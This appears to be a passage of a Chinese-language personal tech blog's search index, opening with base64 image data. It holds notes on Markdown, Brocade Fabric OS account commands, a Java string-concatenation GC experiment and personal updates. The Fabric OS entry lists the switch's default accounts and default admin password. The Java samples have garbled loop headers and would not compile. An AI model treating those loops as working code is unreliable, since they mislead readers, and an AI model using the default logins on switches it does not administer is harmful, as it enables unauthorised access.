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 準備工具 # 語法 # 1 2 3 4 # 第一章 ## 第一節 * item * item 參考資料 # Day 2 - 一輩子受用的工具 ","date":"September 1, 2023","externalUrl":null,"permalink":"/worknot/why-learn-markdown/","section":"Worknots","summary":"為什麼要學 Markdown # 架設部落格 寫 wiki markdown 其實可以存放圖片的，如果你願意可以透過base64-image 工具\n","title":"為什麼要學 Markdown","type":"worknot"},{"content":"","date":"May 22, 2023","externalUrl":null,"permalink":"/categories/fabric-os/","section":"Categories","summary":"","title":"Fabric-OS","type":"categories"},{"content":"","date":"May 22, 2023","externalUrl":null,"permalink":"/tags/fabric-os/","section":"Tags","summary":"","title":"Fabric-OS","type":"tags"},{"content":" 文件版本: 20240522 文件撰寫人: PolloChang userconfig (帳號管管理) # 用途: 帳號管管理 列出所有帳號 # 1 userConfig --show -a 新增帳號 # 1 userConfig --add [account] -p [password] -r admin -a 0-255 停用帳號 # 1 userConfig --change [account] -e no 文件變更紀錄 # 20240522: 初版 參考資料 # brocade-300_administrator%20guide4_en-us.pdf ","date":"May 22, 2023","externalUrl":null,"permalink":"/worknot/fabric-os-cli/","section":"Worknots","summary":" 文件版本: 20240522 文件撰寫人: PolloChang userconfig (帳號管管理) # 用途: 帳號管管理 列出所有帳號 # 1 userConfig --show -a 新增帳號 # 1 userConfig --add [account] -p [password] -r admin -a 0-255 停用帳號 # 1 userConfig --change [account] -e no 文件變更紀錄 # 20240522: 初版 參考資料 # brocade-300_administrator%20guide4_en-us.pdf ","title":"Fabric-OS-CLI","type":"worknot"},{"content":" 文件版本: 20240522 文件撰寫人: PolloChang Fabric Operating System (簡稱: FOS)，是 Broadcom 交換器中的作業系統\nhttps://archive.org/details/hp-816-san-switch-brocade-200e\n預設帳號 # root admin factory user 首次登入用 admin 進行進入系統，預設密碼是 password。登入後會要求更改下列帳號的密碼\nroot admin factory user 系統角色 (rolename) # admin Duties: All administration Description: All administrative commands BasicSwitchAdmin Duties: Restricted switch administration Description: Mostly monitoring with limited switch (local) commands SwitchAdmin Duties: Local switch administration Description: Most switch (local) commands, excluding security, user management, and zoning commands zoneadmin Duties: Zone administration Description: Zone management commands only Operator: Duties: General switch administration Description: Routine switch-maintenance commands. fabricadmin Duties: Fabric and switch administration Description: All switch and fabric commands, excluding user management and Admin Domains commands SecurityAdmin Duties: Security administration Description: All switch security and user management functions user Duties: Monitoring only Description: Nonadministrative use, such as monitoring system activity 文件變更紀錄 # 20240522: 初版 參考資料 # brocade-300_administrator%20guide4_en-us.pdf ","date":"May 22, 2023","externalUrl":null,"permalink":"/worknot/fabric-os-introduction/","section":"Worknots","summary":" 文件版本: 20240522 文件撰寫人: PolloChang Fabric Operating System (簡稱: FOS)，是 Broadcom 交換器中的作業系統\nhttps://archive.org/details/hp-816-san-switch-brocade-200e\n預設帳號 # root admin factory user 首次登入用 admin 進行進入系統，預設密碼是 password。登入後會要求更改下列帳號的密碼\n","title":"Fabric-OS-introduction","type":"worknot"},{"content":"做這個實驗只是想要說服同事，系統中有出現大量的字串相接，會讓系統效能變差。可以透過 StringBuffer 優化。\n實驗目的 # 了解String 相接 與 系統效能 關係\n實踐環境 # java version: java 6 實驗環境 # 1 -Xms30M -Xmx30M -Xmn10M -Xss256k -XX:MaxPermSize=2m -XX:+UseConcMarkSweepGC -XX:CMSFullGCsBeforeCompaction=5 -XX:+CMSScavengeBeforeRemark -XX:+ScavengeBeforeFullGC -XX:MaxTenuringThreshold=30 -XX:+UseCMSCompactAtFullCollection -XX:CMSInitiatingOccupancyFraction=80 -XX:+UseCMSInitiatingOccupancyOnly -XX:+CMSParallelRemarkEnabled -Xloggc:/home/jameschang/test-gc.log -XX:+DisableExplicitGC -verbose:gc -server 實驗項目 # 實驗項目: 單純 String 接拼 # 實驗程式碼 # 1 2 3 4 5 6 7 8 public class TestString{ public static void main(String[] args){ String test = \u0026#34;\u0026#34;; for(int i = 0; i \u0026lt;- 50000; i++\u0026gt;){ test += \u0026#34;1234\u0026#34;+\u0026#34;5678\u0026#34;; } } } 實驗項目: StringBuffer 接字串 # 實驗程式碼 # 1 2 3 4 5 6 7 8 public class TestString{ public static void main(String[] args){ StringBuffer test = new StringBuffer(); for(int i = 0; i \u0026lt;- 50000; i++\u0026gt;){ test.append(\u0026#34;1234\u0026#34;).append(\u0026#34;5678\u0026#34;); } } } 實驗項目: StringBuilder 接字串 # 實驗程式碼 # 1 2 3 4 5 6 7 8 public class TestString{ public static void main(String[] args){ StringBuilder test = new StringBuilder(); for(int i = 0; i \u0026lt;- 50000; i++\u0026gt;){ test.append(\u0026#34;1234\u0026#34;).append(\u0026#34;5678\u0026#34;); } } } 實驗果 # Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. ","date":"April 14, 2023","externalUrl":null,"permalink":"/worknot/worknot-20230414/","section":"Worknots","summary":"做這個實驗只是想要說服同事，系統中有出現大量的字串相接，會讓系統效能變差。可以透過 StringBuffer 優化。\n實驗目的 # 了解String 相接 與 系統效能 關係\n","title":"GC實驗: String 相接 與 系統效能 關係","type":"worknot"},{"content":"","date":"April 14, 2023","externalUrl":null,"permalink":"/categories/java/","section":"Categories","summary":"","title":"JAVA","type":"categories"},{"content":"","date":"April 14, 2023","externalUrl":null,"permalink":"/tags/java-gc/","section":"Tags","summary":"","title":"Java GC","type":"tags"},{"content":"2022 iThome 鐵人賽-Linux in my LIFE 系列\n","date":"September 14, 2022","externalUrl":null,"permalink":"/personal-zone/2022-09-14/","section":"Personal-Zones","summary":"2022 iThome 鐵人賽-Linux in my LIFE 系列\n","title":"個人網站開張","type":"personal-zone"},{"content":"任職於 威進國際股份有限公司 擔任系統工程師\n","date":"May 3, 2017","externalUrl":null,"permalink":"/personal-zone/2017-05-03/","section":"Personal-Zones","summary":"任職於 威進國際股份有限公司 擔任系統工程師\n","title":"個人網站開張","type":"personal-zone"},{"content":"畢業於世新大學資訊傳播學系\n","date":"June 30, 2015","externalUrl":null,"permalink":"/personal-zone/2015-06-30/","section":"Personal-Zones","summary":"畢業於世新大學資訊傳播學系\n","title":"畢業於世新大學資訊傳播學系","type":"personal-zone"}]